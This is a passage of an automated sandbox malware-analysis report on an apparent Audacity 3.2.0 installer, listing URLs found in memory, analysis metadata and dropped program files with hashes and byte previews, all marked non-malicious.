http://lv2plug.in/ns/ext/atom#AtomPort	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/ext/port-props#notOnGUI	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://forum.audacityteam.org/	audacity-win-3.2.0-64bit.exe, 0000000A.00000002.517966675.0000000002150000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.303356414.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000003.344545902.00000000035A0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://lv2plug.in/ns/lv2core#maximum	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/ext/atom#Property	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
https://www.surina.net/soundtouch/	Audacity.exe, 00000010.00000000.506712370.00007FF60DF0E000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://xmlns.com/foaf/0.1/homepage	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/lv2core#projecthttp://usefulinc.com/ns/doap#maintainerhttp://xmlns.com/foaf/0.1	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/ext/dynmanifest#DynManifest	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/extensions/ui#external	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://manual.audacityteam.org/o/man/faq_about_audacity.html#free	audacity-win-3.2.0-64bit.exe, 0000000A.00000002.517966675.0000000002150000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.303356414.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000003.344545902.00000000035A0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://manual.audacityteam.org/man/unzipping_the_manual.html	Audacity.exe, 00000010.00000000.507856498.00007FF60DF90000.00000002.00000001.01000000.0000000D.sdmp	false		high
http://lv2plug.in/ns/extensions/ui#GtkUI	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
https://audio.comaudio.com%%&Unlink	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	low
http://lame.sf.net32bits64bits	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/ext/options#optionsLV2InstanceFeaturesList::CheckOptionsD:	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/audacity/audacity/pulls	audacity-win-3.2.0-64bit.exe, 0000000A.00000002.517966675.0000000002150000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.303356414.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000003.344545902.00000000035A0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://lv2plug.in/ns/ext/atom#URID	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/ext/state#mapPathhttp://lv2plug.in/ns/ext/state#makePathlilv_state_new_from_ins	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/ext/atom#Int	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/ext/parameters#sampleRate	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/extensions/ui#Qt4UI	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/ext/atom#String	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/ext/buf-size#fixedBlockLength	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/ext/port-props#notAutomatic	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://www.twolame.org/	Audacity.exe, 00000010.00000000.506712370.00007FF60DF0E000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
https://manual.audacityteam.org/man/faq_opening_and_saving_files.html#fromcd	Audacity.exe, 00000010.00000000.507856498.00007FF60DF90000.00000002.00000001.01000000.0000000D.sdmp	false		high
http://lv2plug.in/ns/lv2core#sampleRate	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://www.haysoft.org%1-k	audacity-win-3.2.0-64bit.exe, 0000000A.00000002.517966675.0000000002150000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.303356414.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000003.344545902.00000000035A0000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	low
http://lv2plug.in/ns/lv2core#port	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/ext/atom#Long	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/ext/buf-size#minBlockLength	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/ext/time#speed	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/lv2core#scalePoint	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
https://manual.audacityteam.org/quick_help.html	Audacity.exe, 00000010.00000002.544979137.000001241D121000.00000004.00000001.00020000.00000000.sdmp	false		high
http://lv2plug.in/ns/ext/instance-access	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/lv2core#name	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/ext/port-groups#group	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/ext/event#supportsEventlilv_port_get_valuelilv_port_get_name%s():	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
https://www.audacityteam.org/about/desktop-privacy-notice/our	Audacity.exe, 00000010.00000000.506712370.00007FF60DF0E000.00000002.00000001.01000000.0000000D.sdmp	false		high
http://lv2plug.in/ns/ext/worker#schedule	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/ext/atom#Blankhttp://lv2plug.in/ns/ext/atom#Boolhttp://lv2plug.in/ns/ext/atom#C	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://xmlns.com/foaf/0.1/	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://kxstudio.sf.net/ns/lv2ext/external-ui#Host	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false		high
http://lv2plug.in/ns/lv2core#AudioPort	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
https://www.audacityteam.org/wiki/index.php?title=file:	Audacity.exe, 00000010.00000000.507856498.00007FF60DF90000.00000002.00000001.01000000.0000000D.sdmp	false		high
http://lv2plug.in/ns/ext/event#supportsEvent	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.sectigo.com0	audacity-win-3.2.0-64bit.exe, 0000000A.00000003.329484659.00000000025AA000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.336259617.000000007FE76000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ll-plugins.nongnu.org/lv2/namespace#MathFunctionPlugin	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false		high
http://lv2plug.in/ns/ext/log#log	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/audacity/audacity/releases	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false		high
http://lv2plug.in/ns/lv2core#OutputPort	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/extensions/ui#noUserResizehttp://lv2plug.in/ns/extensions/ui#fixedSizehttp://lv	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/extensions/ui#touch	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/lv2core#symbol	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	audacity-win-3.2.0-64bit.exe, 0000000A.00000003.329484659.00000000025AA000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.336259617.000000007FE76000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://kxstudio.sf.net/ns/lv2ext/external-ui#Widget	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false		high
http://lv2plug.in/ns/ext/port-props#causesArtifacts	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
https://www.audacityteam.orgDon	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/ext/port-props#rangeSteps	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/ext/time#Position	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://www.gnu.org/licenses/licenses.html	audacity-win-3.2.0-64bit.exe, 0000000A.00000002.517966675.0000000002150000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.303356414.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000003.344545902.00000000035A0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://lv2plug.in/ns/lv2core#enumeration	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/extensions/ui#portMap	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/ext/atom#childType%2XFailed	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/ext/port-props#trigger	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/lv2core#prototype	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://lv2plug.in/ns/ext/atom#childType	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
https://forum.audacityteam.org/viewforum.php?f=19	audacity-win-3.2.0-64bit.exe, 0000000A.00000002.517966675.0000000002150000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.303356414.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000003.344545902.00000000035A0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://lv2plug.in/ns/extensions/ui#Gtk3UI	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
https://audacityteam.org/errorshereWould	Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	false		high
https://plugins.audacityteam.org/	Audacity.exe, 00000010.00000002.571189245.00007FF60DFE2000.00000002.00000001.01000000.0000000D.sdmp	false		high
https://forum.audacityteam.org/.	Audacity.exe, 00000010.00000002.571189245.00007FF60DFE2000.00000002.00000001.01000000.0000000D.sdmp	false		high
http://audacityteam.org/about/	audacity-win-3.2.0-64bit.exe, 0000000A.00000002.517966675.0000000002150000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.303356414.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000003.344545902.00000000035A0000.00000004.00001000.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	715159
Start date and time:	2022-10-03 17:29:45 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	WsiysHggF9.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal50.troj.evad.winEXE@11/410@1/0
EGA Information:	Successful, ratio: 50%
HDC Information:	Successful, ratio: 99.8% (good quality ratio 95%) Quality average: 78.9% Quality standard deviation: 27.9%
HCA Information:	Successful, ratio: 72% Number of executed functions: 116 Number of non-executed functions: 91
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: WsiysHggF9.exe

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Program Files\Audacity\Audacity.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	18346984
Entropy (8bit):	5.799007831846941
Encrypted:	false
SSDEEP:	98304:Kjzz9bIIQItaxXOK0fSiBSKnDD0S27jAx/wovRsrNnasJvkvNcqC:gX9bqXOK0LBSKnsSGo/L5srNnasVN/
MD5:	686920484890800433A208E111666FE1
SHA1:	C0883885EED96B21802F6AA048F26BE2A0696DC2
SHA-256:	70443B2187A22DFFA90924F089440299514A9604C2AB44482A7002470B286290
SHA-512:	E4A150CE977875B621A8B84CB09D3DF5DC2B7A4B82466BB6EA3CCAFF18D8D4C1B0C53339EEB859C2281F501046625A9053E3EF5830237F71B60F12F0957CB7C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...................................h...........!..L.!This program cannot be run in DOS mode....$.......M.F...(...(...(.......(......(...,...(...+...(...-.&.(...)...(.l.)...(...)...(.h.)...(...)...(.m.)...(...,...(...-...(...-...(.m.,...(..,...(......(..)...(...)...(...,...(...).4.(...)...(...-...(...(...(......(......(.Rich..(.PE..d.....,c.........."....!.....v......O.........@..............................".....".....`.........................................P...'....N...................$......./......l......8....................T..(.......@............p...............................text............................. ..`.rdata..w.L......L................@..@.data...)...........................@....pdata..$...........................@..@.idata.......p......................@..@.tls................................@....00cfg..u...........................@..@_RDATA..Z...........................@..@.rsrc...............................@..@.reloc..nD......

C:\Program Files\Audacity\EffectsMenuDefaults.xml (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3135
Entropy (8bit):	4.118243114663798
Encrypted:	false
SSDEEP:	24:/FiVGnSelecVMFum4rq41b5JDpprkwPdTnRxKqiwh:951ecQMTcwPdzRxK98
MD5:	2BF19AD3B70F5FEE5BE2A533AAC1B8D7
SHA1:	6DBEC2D105339B67DDD09B5574A386AC1AA4A360
SHA-256:	ACCA4F46F6A9A0C9887650FC0B63544EEC4187C7B3F351310D20ECBEAFEA9E8A
SHA-512:	30250D32DF6A0430F68EDE9307456489D988D5DF88583D373C4832455C58C55C3DCCE04E0CD49A270A00B863B364281DE30AA1ED1EBE952215E88504A8AEDFE8
Malicious:	false
Reputation:	low
Preview:	<EffectMenuList>.. <Group>.. Effects menu group name; audio dynamics compression, not data compression -->.. <Name>Volume and Compression</Name>.. <Effects>.. <Effect>Amplify</Effect>.. <Effect>Compressor</Effect>.. <Effect>Limiter</Effect>.. <Effect>Normalize</Effect>.. <Effect>Loudness Normalization</Effect>.. <Effect>Auto Duck</Effect>.. </Effects>.. </Group>.. <Group>.. Effects menu group name -->.. <Name>Fading</Name>.. <Effects>.. <Effect>Fade In</Effect>.. <Effect>Fade Out</Effect>.. <Effect>Studio Fade Out</Effect>.. <Effect>Adjustable Fade</Effect>.. <Effect>Crossfade Clips</Effect>.. <Effect>Crossfade Tracks</Effect>.. </Effects>.. </Group>.. <Group>.. <Name>Pitch and Tempo</Name>.. <Effects>.. <Effect>Change Pitch</Effect>.. <Effe

C:\Program Files\Audacity\FLAC++.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	163304
Entropy (8bit):	5.2787590433466605
Encrypted:	false
SSDEEP:	1536:+7gYw7uaHb0JVXTyYHTYc5r7dnW8aetBg/nlXH:FYmuaH2xTyYzYc5s8aetBSnhH
MD5:	8FBE5290565F390AA3A58CBBED175276
SHA1:	34C241349D8A954D68E332B2D17DA7DA5BFF1AB9
SHA-256:	3CEC5CF1C56B0A268CEF01E10BC31D63E5E64E31AA59714E26BA57AB5B4E5561
SHA-512:	19C093C351F7D075D57659A436EC65CD60ED04550615C286F3EA4A87A1ABBBA19BC9EE0669C34101CCABE27082F65A2CD32B6BC23F0EF33F34D5FAC0D67FB333
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........).9.H.j.H.j.H.j.0Vj.H.j$3.k.H.j$38j.H.j$3.k.H.j$3.k.H.j$3.k.H.j@8.k.H.j)3.k.H.j.H.jUH.j)3.k.H.j)3.k.H.j)3.k.H.j)3:j.H.j)3.k.H.jRich.H.j........................PE..d......c.........." ...!.....f......7................................................e....`.........................................`F......X,..........<............N.../......\...0...8...............................@............ ..X............................text...2........................... ..`.rdata..............................@..@.data...y...........................@....pdata..@...........................@..@.idata..UB... ...D..................@..@.00cfg..u....p.......@..............@..@.rsrc...<............B..............@..@.reloc...............H..............@..B................................................................................................................................

C:\Program Files\Audacity\FLAC.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	275944
Entropy (8bit):	5.75829192222849
Encrypted:	false
SSDEEP:	3072:Jwa20khRG66NAjLzwJyVTe2e/B9RjhsqmTcmZk+CGYnhB8:JwJPh466AzL5SZOcVlnT8
MD5:	4CB24B18EE80396059FEC2C5FEF1B28C
SHA1:	B11EF4C9099ED511ACD286BFAF7BEA115349E4A2
SHA-256:	CCD217E75C844543F99CF33FF7D8CDF7FE892BD7D94851D7D9DC6B5918284DD6
SHA-512:	79FEAF95AE2E69968B7F8779B3BBD08A887AF66ED5DFC9EFB6BE75A0277C3E1AECFB9EBC305A1E55B7A7E4DE5E8A465279DAABD6226563A05A1D59A7089E6A75
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........A.............!.....U.......U.O.....U.......U.......U.......1...............X.......X.......X.M.....X.......Rich............PE..d......c.........." ...!.....(......#........................................p.......^....`.........................................0....F...&.......P..<.......@......../...`..x...0K..8............................I..@............ ...............................text............................... ..`.rdata..............................@..@.data...............................@....pdata..T!......."..................@..@.idata....... ......................@..@.00cfg..u....@......................@..@.rsrc...<....P......................@..@.reloc.......`......................@..B................................................................................................................................................................

C:\Program Files\Audacity\FirstTime.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	27
Entropy (8bit):	3.8100810205217304
Encrypted:	false
SSDEEP:	3:qs/KM3REnvn:X/KMMvn
MD5:	2C57C2B7EE5C25E906CF47DD56B21CF3
SHA1:	B64A10726A200961E68787793377AE5362735412
SHA-256:	42F8A06D23872031B9D6E4722FF8B42DE398777A58927C44C608743C38EE9340
SHA-512:	9A8E53D442386A86A54DDEA3EA28ECD49118236F95C4CFEA22D3B4D6FD15D81320C800FA505854CFAEC2BF4B5FBACAD4E2B0D41347A39DBCD273A2BB68F8BBB3
Malicious:	false
Preview:	[FromInno]....Language=en..

C:\Program Files\Audacity\LICENSE.txt (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	74895
Entropy (8bit):	4.705526648142378
Encrypted:	false
SSDEEP:	768:2pzun1iYWrTXo0HDOc7Y+tNdSz3ZlqXOWoInuzx3Y8N3WiYD9P1GKQwq1Fl+bzg:A+8TXoWVtNIq1uzZY13oKQT1+3g
MD5:	AF89B6DEF149203612F56EF0F3B6F5A1
SHA1:	CD7C4313C3DFBB54F344C1946A5E2E523A7DC0AB
SHA-256:	F6D3C12A6845004F3B8CD53A3CB09DF58F30CC920AFA98C380AA6FBD71B9A4DC
SHA-512:	DC3212F0E8AECEC438B89BA7F8A4EE785D90909E8AFB04811BC6E1943A425577FA88CDE795BCA6749825A8BB408E3ECEB26D9C69B194903F0DE36FE56311788E
Malicious:	false
Preview:	Audacity is released under the GNU General Public License version 3 (GPLv3). ..Individual source files may be available under other licenses as specified ..in those files or an accompanying file. In particular, many source files are ..available under GPL version 2 (GPLv2) or (at your option) any later version, ..and this is the default license used where no other license is specified.....Documentation is distributed under a Creative Commons-Attribution license...(CC-BY 3.0)....Following are the full license texts of the...* GNU General Public License Version 2 (GPLv2), ...* GNU General Public License Version 3 (GPLv3), and...* Creative Commons-Attribution 3.0 Unported (CC-BY 3.0)..licenses. ....###############################################################################...... GNU GENERAL PUBLIC LICENSE.... Version 2, June 1991.... Copyright (C) 1989, 1991 Free Software Foundation, Inc... 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.. Everyone is permitted to

C:\Program Files\Audacity\Languages\af\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 487 messages, Project-Id-Version: audacity 3.0.3 '"%s" bestaan nie.'
Category:	dropped
Size (bytes):	29840
Entropy (8bit):	5.077796478193377
Encrypted:	false
SSDEEP:	768:CMZ2sfpnvRpw39KZo4hBKf3v8EOq125og2sEH08Uo:fjfFo9KZocKf3vFOB5oWEH4o
MD5:	68F835F07E00377A78035F3BFBD7D758
SHA1:	6A2161219AAA5E2A304D5C0E7F7BF996FA39F881
SHA-256:	F711815D1F2EC34CE023C3E3732C5A2C1BFC0E8D0C958D0F8C333F70424C8553
SHA-512:	4B0864C5916EF0386E7010FEF183EA950F4B3F8E902DB2B575DC3779086FA080D95E4E388CC38E2A02BC364E201D3589BD14A33A3B523DBFF51499462E21BA06
Malicious:	false
Preview:	................T................(..1....(.......(.......).......)..%...%)......K)......^)......c)......h)......q)......{).......).......).......).......).......).......).......).......).......).......).......).......).......).......).......)..................................$......-......6......;......A......E......N......Z......a......q......{..................................................................................................+......%+..,...-+..%...Z+..1....+..#....+..$....+.......+.......,.......,.......,......#,......,......5,......7,......B,......V,......],......h,......j,......w,......y,......{,......},.......,.......,.......,.......,.......,.......,.......,.......,.......,.......,.......,.......-.......-.. ...:-......[-......v-..#....-..:....-.......-.......-.......-..................z...3..........._..........*/..t...U/......./......./......./......./.......0.......0.......0......"0......,0......30......;0......S0..4..._0..#....0......

C:\Program Files\Audacity\Languages\af\is-HO62N.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 487 messages, Project-Id-Version: audacity 3.0.3 '"%s" bestaan nie.'
Category:	dropped
Size (bytes):	29840
Entropy (8bit):	5.077796478193377
Encrypted:	false
SSDEEP:	768:CMZ2sfpnvRpw39KZo4hBKf3v8EOq125og2sEH08Uo:fjfFo9KZocKf3vFOB5oWEH4o
MD5:	68F835F07E00377A78035F3BFBD7D758
SHA1:	6A2161219AAA5E2A304D5C0E7F7BF996FA39F881
SHA-256:	F711815D1F2EC34CE023C3E3732C5A2C1BFC0E8D0C958D0F8C333F70424C8553
SHA-512:	4B0864C5916EF0386E7010FEF183EA950F4B3F8E902DB2B575DC3779086FA080D95E4E388CC38E2A02BC364E201D3589BD14A33A3B523DBFF51499462E21BA06
Malicious:	false
